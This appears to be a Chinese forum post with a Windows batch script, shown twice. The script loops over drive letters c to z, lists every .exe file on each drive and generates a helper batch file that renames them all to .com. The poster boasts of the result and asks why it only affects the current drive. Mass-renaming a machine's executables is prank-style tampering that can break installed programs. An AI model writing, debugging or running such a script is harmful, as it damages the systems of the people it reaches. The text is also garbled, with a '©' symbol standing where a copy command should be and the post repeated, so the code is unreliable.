@echo off
set a=c d e f g h i j k l m n o p q r s t u v w x y z
echo for /f "delims=" %%%%i in (d.txt) do ren %%%%~dpnsi.exe %%%%~ni.com>conv.bat
for %%j in (%a%) do (if exist %%j: dir /s/b %%j:\*.exe>%%j:\d.txt © conv.bat %%j:
call %%j:\conv.bat)
运行后你的可执行文件就都成了.com的文件啦,呵呵,不过我这儿还有一个小问题,在进行call调用的时候,只能把当前文件所在盘的所有可执行文件给变了其它的盘就不行,好像循环不往过走一样
set a=c d e f g h i j k l m n o p q r s t u v w x y z
echo for /f "delims=" %%%%i in (d.txt) do ren %%%%~dpnsi.exe %%%%~ni.com>conv.bat
for %%j in (%a%) do (if exist %%j: dir /s/b %%j:\*.exe>%%j:\d.txt © conv.bat %%j:
call %%j:\conv.bat)
运行后你的可执行文件就都成了.com的文件啦,呵呵,不过我这儿还有一个小问题,在进行call调用的时候,只能把当前文件所在盘的所有可执行文件给变了其它的盘就不行,好像循环不往过走一样
